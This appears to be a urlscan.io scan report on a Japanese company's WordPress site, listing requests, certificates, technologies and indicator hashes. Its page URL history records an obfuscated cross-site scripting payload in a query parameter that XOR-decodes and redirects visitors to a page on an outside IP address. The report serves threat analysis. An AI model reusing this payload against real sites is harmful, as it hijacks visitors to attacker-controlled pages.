195.189.227.18
Open in
urlscan Pro
195.189.227.18
Public Scan
Effective URL: http://195.189.227.18/7943.htm
Submission: On February 22 via manual from US — Scanned from JP
Summary
This is the only time 195.189.227.18 was scanned on urlscan.io!
urlscan.io Verdict: No classification
Domain & IP information
IP Address | AS Autonomous System | ||
---|---|---|---|
44 | 150.60.27.122 150.60.27.122 | 9597 (CPI-NET K...) (CPI-NET KDDI Web Communications Inc.) | |
1 | 2404:6800:400... 2404:6800:4004:824::200a | 15169 (GOOGLE) (GOOGLE) | |
1 | 195.189.227.18 195.189.227.18 | 3236 (SERVER se...) (SERVER server.ua) | |
48 | 4 |
ASN9597 (CPI-NET KDDI Web Communications Inc., JP)
PTR: qtwcyb122.secure.jp
www.chukyo-juki.co.jp |
Apex Domain Subdomains |
Transfer | |
---|---|---|
44 |
chukyo-juki.co.jp
www.chukyo-juki.co.jp |
281 KB |
1 |
googleapis.com
ajax.googleapis.com — Cisco Umbrella Rank: 261 |
33 KB |
0 |
Failed
function sub() { [native code] }. Failed |
|
48 | 3 |
Domain | Requested by | |
---|---|---|
44 | www.chukyo-juki.co.jp |
www.chukyo-juki.co.jp
|
1 | ajax.googleapis.com |
www.chukyo-juki.co.jp
|
0 | 195.189.227.18 Failed |
www.chukyo-juki.co.jp
|
48 | 3 |
This site contains no links.
Subject Issuer | Validity | Valid | |
---|---|---|---|
www.chukyo-juki.co.jp GeoTrust TLS RSA CA G1 |
2023-10-04 - 2024-10-20 |
a year | crt.sh |
upload.video.google.com GTS CA 1C3 |
2024-01-29 - 2024-04-22 |
3 months | crt.sh |
This page contains 1 frames:
Primary Page:
http://195.189.227.18/7943.htm
Frame ID: AA50A306DF16373C5716554A868C4CAC
Requests: 48 HTTP requests in this frame
Screenshot
Page URL History Show full URLs
- https://www.chukyo-juki.co.jp/list/list.php?category=%22%3E%3Ciframe%20src=javascript%3AcodeString=%60win%... Page URL
- http://195.189.227.18/7943.htm Page URL
Detected technologies
WordPress (CMS) ExpandDetected patterns
- /wp-(?:content|includes)/
Modernizr (JavaScript Libraries) Expand
Detected patterns
- ([\d.]+)?/modernizr(?:\.([\d.]+))?.*\.js
Swiper Slider (Miscellaneous) Expand
Detected patterns
- swiper(?:\.min)?\.js
jQuery (JavaScript Libraries) Expand
Detected patterns
- /([\d.]+)/jquery(?:\.min)?\.js
- jquery.*\.js(?:\?ver(?:sion)?=([\d.]+))?
Page Statistics
0 Outgoing links
These are links going to different origins than the main page.
Page URL History
This captures the URL locations of the websites, including HTTP redirects and client-side redirects via JavaScript or Meta fields.
- https://www.chukyo-juki.co.jp/list/list.php?category=%22%3E%3Ciframe%20src=javascript%3AcodeString=%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city=0;url=%5B66%2C94%2C94%2C90%2C16%2C5%2C5%2C27%2C19%2C31%2C4%2C27%2C18%2C19%2C4%2C24%2C24%2C29%2C4%2C27%2C18%2C5%2C%5D%3Bwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef=url.map(value=%60%2BString.fromCharCode(62)%2B%60String.fromCharCode(value%5E42)).jo%60%2B%60in(%27%27).concat(%277943.htm%27);%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown()%2A%2F%60;codeString=codeString.replaceAll(%60salooa%60,%60azefcr%60);executeCode=Function(codeString);%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode();%3E%3C%2Fiframe%3E Page URL
- http://195.189.227.18/7943.htm Page URL
Redirected requests
There were HTTP redirect chains for the following requests:
48 HTTP transactions
Method Protocol |
Resource Path |
Size x-fer |
Type MIME-Type |
||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
GET H/1.1 |
list.php
www.chukyo-juki.co.jp/list/ |
42 KB 12 KB |
Document
text/html |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
normalize.min.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/css/ |
2 KB 1 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
screen.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/css/ |
157 KB 22 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
list.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/css/page/ |
94 KB 12 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
colorbox.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/lib/colorbox/ |
4 KB 2 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
swiper.min.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/lib/swiper/ |
14 KB 3 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
img_header_logo.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
4 KB 4 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
txt_header_tel.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
3 KB 3 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_header_blog.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_header_contact.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_header_guide.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_menu.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
gn_home.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
298 B 635 B |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
img_blog_assets.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
1 KB 1 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
ico_tel.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/module/ |
657 B 1003 B |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
txt_ft_tel.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
1 KB 2 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
h2_lineup.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/list/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
img_seek_tel.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/module/ |
5 KB 5 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_checksheet.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
10 KB 10 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sb_ico_search.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/module/ |
2 KB 2 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_h2_pickup.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
3 KB 3 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_search.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
17 KB 17 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_professional.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
52 KB 52 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_voice.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
14 KB 14 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_magazine.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
4 KB 4 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_lawyer.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
8 KB 8 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_dealer.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
8 KB 8 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_service.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
8 KB 8 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_recruit.jpg
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
11 KB 11 KB |
Image
image/jpeg |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_twitter.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
4 KB 4 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_facebook.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
3 KB 3 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
sn_bnr_phone.gif
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
9 KB 9 KB |
Image
image/gif |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
txt_ft_tagline.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
1 KB 2 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_ft_contact_sp.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_ft_contact.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
btn_ft_tel.png
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/image/template/ |
2 KB 2 KB |
Image
image/png |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
modernizr.custom-2.8.3.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/ |
8 KB 4 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H2 |
jquery.min.js
ajax.googleapis.com/ajax/libs/jquery/1.11.3/ |
94 KB 33 KB |
Script
text/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
swiper.min.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/lib/swiper/ |
65 KB 20 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
import.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/ |
1014 B 939 B |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
list.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/page/ |
6 KB 2 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
jquery.colorbox-min.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/lib/colorbox/ |
12 KB 5 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
jquery.smartbanner.css
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/css/ |
5 KB 2 KB |
Stylesheet
text/css |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
jquery.smartbanner.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/ |
17 KB 6 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
call_smartbanner.js
www.chukyo-juki.co.jp/wp/wp-content/themes/chukyojuki/js/ |
2 KB 1 KB |
Script
application/javascript |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||
GET |
7943.htm
195.189.227.18/ |
0 0 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||
GET |
7943.htm
195.189.227.18/ |
0 0 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||
GET H/1.1 |
Primary Request
7943.htm
195.189.227.18/ |
195 B 456 B |
Document
text/html |
||||||||||||||||||||||||||||||||||||||||||||||||||||
General
Request headers
Response headers
|
Failed requests
These URLs were requested, but there was no response received. You will also see them in the list above.
- Domain
- 195.189.227.18
- URL
- http://195.189.227.18/7943.htm
- Domain
- 195.189.227.18
- URL
- http://195.189.227.18/7943.htm
Verdicts & Comments Add Verdict or Comment
0 JavaScript Global Variables
These are the non-standard "global" variables defined on the window object. These can be helpful in identifying possible client-side frameworks and code.
0 Cookies
Cookies are little pieces of information stored in the browser of a user. Whenever a user visits the site again, he will also send his cookie values, thus allowing the website to re-identify him even if he changed locations. This is how permanent logins work.
Indicators
This is a term in the security industry to describe indicators such as IPs, Domains, Hashes, etc. This does not imply that any of these indicate malicious activity.
195.189.227.18
ajax.googleapis.com
www.chukyo-juki.co.jp
195.189.227.18
150.60.27.122
195.189.227.18
2404:6800:4004:824::200a
1a11a76c59806232e6f7fb658c8b2590f6084ca38c9d6c9e1a92caae8427990a
1dd41333cc606cab8614c1159d655890051e1eea2c99149a083b262920d4f757
2302d2b6804ef8d7eec6da31af7d9bcd9059b71d96a8bad244aa0efc46bcf848
3f2fff42545834cbf00360cec914d29947e705bbe9f0c0aa628b0be98ccda33a
489b54c2411599400518a67739c47644d0b6978792f3c1c4a9717af0a4bf0ef4
48c638432c89288e703534a2ea5539872af79b0caae9c7c852b2dac811d0941d
4fa2b10e0229ea65e37d507276d2ecddce34840b9a3c0b05effe9a229097bca3
534ba7a48a1627c834dae649a9e12b9c18526d4a55bf235e9818f1e3de1a7416
55a6ea9c5573561d72642d31623c044f6752658074865380285ce014b75c366f
57326152d8f5ebc5957337edf3898c64921e303ea936fabaf3404b55c7b14910
7ba5848e332d913c3a02c1463244aa75dfd3fdd553935bc30eb6195eeff347fd
8e759e0b7339dda121a0f7f1b48c735a6a1fe9bf25132535451f72000762b707
b6db7f8fe2afca5ed6a03d8487a8b16c4783f9cb037929acb03f7fdfc12a7ecf
bcf90d05af22e7799cda97be75736098f4c1e54c85b7ad3fe8a5b87a12bdf4b6
c487bf78e6b4f3efbd99d031439d5a2043d887d9bb0c36643bf1a6efacc5f8fb
e441caeed267d16bd1d581b62df4d3915bd6d835d58c241b9826311c6612f3e7
e60a633706e89fd642bfc1098f5c7f29422dda388b13a8666ac9e81cce7251de
ec72839359d484e09d104edf984925ac7031ac37a1288332b4de8dc7e992f623
ecf1861c7868461e84289254a570b6750068b2b9ab5448818594f6fbe93e6e07
ed490aa240e65ec9e851166ef0bd08196163b2961b4a8d4face89ddc60d437aa